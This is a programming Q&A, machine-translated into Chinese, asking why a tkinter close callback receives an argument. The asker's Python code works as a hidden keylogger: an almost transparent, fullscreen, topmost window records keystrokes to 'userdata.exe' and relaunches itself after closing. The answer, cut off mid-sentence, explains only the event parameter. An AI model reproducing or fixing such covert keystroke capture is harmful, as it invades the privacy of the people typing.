为什么我的函数会收到一个参数?

Tom*_*pis -1 python tkinter key-bindings

我有这个程序,我一直在写,但由于某种原因,该on_closing功能正在接受一个论点

码:

from tkinter import *
from time import sleep

def run():
    global root, target
    target = open("userdata.exe", 'a')
    root = Tk()
    root.attributes("-fullscreen", True)
    root.attributes('-alpha', 0.01)
    root.attributes('-topmost', True)

    def key(event):
        target.write(repr(event.char)+" :")

    frame = Frame(root, width=root.winfo_screenwidth(), height=root.winfo_screenwidth())
    frame.bind("<Key>", key)
    frame.bind("<1>", on_closing)
    frame.pack()
    root.protocol("WM_DELETE_WINDOW", on_closing)
    root.mainloop()

def on_closing():
    root.destroy()
    sleep(10)
    target.close()
    run()


run()
Run Code Online (Sandbox Code Playgroud)

为什么会出现这种情况?

tde*_*ney 5

当将回调传递给某些软件时tkinter,您必须遵循该系统关于回调签名应该是什么的规则.当tkinter调用绑定方法时,它会传递一个event参数.请参阅事件和绑定